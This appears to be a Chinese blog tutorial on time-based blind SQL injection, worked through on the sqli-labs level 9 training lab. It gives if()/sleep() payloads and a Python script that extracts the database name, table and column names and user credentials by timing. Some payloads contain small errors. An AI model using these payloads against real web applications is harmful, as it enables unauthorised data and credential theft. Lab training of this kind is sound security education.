SQL注入之时间盲注

目录

简介

基于时间盲注常用函数

if()函数

语法结构

sleep()函数

语法结构

注入常用结构

例子

实现环境

注入步骤

首先进行注入点判断

爆数据库名


简介

盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

对于基于时间的盲注来说,我们构造的语句中,包含了能否影响系统运行时间的函数,根据每次页面返回的时间,判断注入的语句是否被成功执行。

基于时间盲注常用函数

if()函数

语法结构

if(表达式,结果1,结果2)
上述代码的意思是如果表达式成立,执行结果1。反之执行结果2。

sleep()函数

语法结构

sleep(number)
number是多少满足结果后就延迟几秒执行结果

注入常用结构

select * from 表名 where id = 1 and if(表达式,sleep(3),1)

如果执行结果在3秒后执行说明表达式中的内容为真

例子

实现环境

sql-lab靶场第9关

注入步骤

首先进行注入点判断

在输入了id = 1‘ id=0’后页面返回的都是You are in ........

尝试时间盲注,发现执行延迟到了两秒后,所以存在注入点并且闭合方式为‘

爆数据库名

在一个个尝试以后终于爆出了一个数据库名的一位是s步骤有些繁琐。下面借助脚本来进行以下步骤

"id":"1' and if(ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema='security',%d,1))=%d,sleep(0.5),0)-- "%(i,j)

借助脚本爆数据库名

import time
import requests
def database():
    name = ''
    for i in range(1,20):
        for j in range(32,128):
            payload = {"id":"1' and if(ascii(substr(database(),%d,1))=%d,sleep(0.5),0)-- "%(i,j)}
            start_time = time.time()
            res = requests.get(url,params=payload)
            end_time = time.time()
            if end_time-start_time>=0.5:

                name = name+chr(j)

                break
    print(name)
url = 'http://127.0.0.1:9002/sqli-labs-master/Less-9/'
database()

爆出列名表名只需要修改payload语句就行

爆出表名的payload语句

"id":"1' and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),%d,1))=%d,sleep(0.5),0)-- "%(i,j)

爆出列名的payload语句

"id":"1' and if(ascii(substr((select group_concat(columns_name) from information_schema.columns where table_schema='security' and table_name = 'users'),%d,1))=%d,sleep(0.5),0)-- "%(i,j)

爆出数据

"id":"1' and if(ascii(substr((select group_concat(username),group_concat(password) from security.users),%d,1))=%d,sleep(0.5),0)-- "%(i,j)

不嫌弃的点点关注,点点赞 ଘ(੭ˊᵕˋ)੭* ੈ✩‧₊˚

  • 8
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值